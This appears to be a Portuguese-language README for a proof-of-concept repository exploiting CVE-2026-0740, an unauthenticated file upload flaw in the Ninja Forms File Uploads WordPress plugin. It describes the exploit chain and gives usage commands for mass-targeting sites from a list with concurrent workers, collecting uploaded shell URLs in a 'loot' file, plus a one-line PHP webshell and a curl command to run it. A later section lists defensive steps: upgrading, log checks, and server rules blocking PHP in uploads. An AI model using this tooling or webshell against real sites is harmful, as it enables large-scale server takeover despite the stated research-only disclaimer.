
PoC para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload que pode levar a RCE.
Autor: 0xNuts
Contribuidor: Cursor
Repositório: https://github.com/ExDev994/CVE-2026-0740-mass
Prova de conceito (PoC) para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Upload de Arquivo Arbitrário Não Autenticado que pode levar a RCE.
A vulnerabilidade inicial foi descoberta por Sélim Lanouar (@whattheslime). O mecanismo PoC mass-target foi desenvolvido por 0xNuts com contribuição do Cursor.
Este repositório é fornecido apenas para pesquisa de segurança e fins defensivos (pentest autorizado, red team com permissão por escrito, validação de patches e hardening).
O plugin Ninja Forms - File Uploads para WordPress é vulnerável a upload de arquivo arbitrário não autenticado em todas as versões até 3.3.26 (inclusive).
Cadeia de exploração:
nf_fu_get_new_nonce com um field_id qualquer.nf_fu_upload valida a extensão do arquivo enviado (ex.: image.jpg), mas o atacante pode sobrescrever o nome do arquivo de destino via parâmetro POST (image_jpg).move_uploaded_file() sem sanitização adequada → extensão arbitrária + path traversal (../).Patch completo disponível na versão 3.3.27+.
Este repositório contém apenas CVE-2026-0740.py e README.md. Instale as dependências manualmente:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Nota: Deve usar exatamente um de -t ou -f.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
Com path traversal explícito:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
Crie o arquivo target.txt:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
Execute:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
Com ajuste de workers e output de loot:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
As URLs de shell enviadas com sucesso serão escritas no arquivo de loot (modo append).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
Após o upload bem-sucedido, o script exibe a URL do shell. Verifique (apenas em laboratório/alvo autorizado):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Atualize o Ninja Forms - File Uploads para a versão 3.3.27 ou superior imediatamente.
Ninja Forms - File UploadsApós a atualização:
wp-admin/admin-ajax.php com as actions nf_fu_get_new_nonce / nf_fu_upload — o upload arbitrário deve ser rejeitadoVerifique os diretórios de upload do WordPress:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Procure por arquivos estranhos: .php, .pht, .phtml, .phar, .html, .svg, .js que não deveriam estar lá.
Verifique também os logs do servidor web para requisições a:
/wp-admin/admin-ajax.php
com os parâmetros action=nf_fu_get_new_nonce ou action=nf_fu_upload.
WAF / rate limiting em /wp-admin/admin-ajax.php para bloquear abuso de upload em massa
Desabilitar execução PHP no diretório wp-content/uploads/ via configuração do servidor web:
Apache (.htaccess em uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Menor privilégio: certifique-se de que as permissões de arquivo de upload não sejam graváveis pelo servidor web fora do diretório necessário
Monitoramento: alerta para POST em admin-ajax.php com action nf_fu_* de IP estrangeiro ou alto volume
Backup & resposta a incidentes: se IoCs forem encontrados, isole o site, altere as credenciais do DB/admin, audite outros plugins/temas
Desative e remova o plugin Ninja Forms - File Uploads se o recurso de upload não for necessário.
| Vetor / Extensão | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Flag | Função |
|---|
-t, --target | Alvo único (URL única) |
-f, --targets-file | Arquivo .txt contendo lista de alvos (uma URL por linha) |
--shell | Arquivo de payload/webshell a ser enviado (obrigatório) |
-d, --dest | Path traversal de destino (padrão: ../../../) |
-w, --workers | Número de threads concorrentes (padrão: 20) |
-o, --output | Arquivo de loot para URLs de shell bem-sucedidas (padrão: results.txt) |
-x, --proxy | Proxy HTTP (ex.: http://127.0.0.1:8080) |
-H, --headers | Cabeçalho personalizado (formato: 'Header: Value') |
--timeout | Timeout HTTP em segundos (padrão: 10) |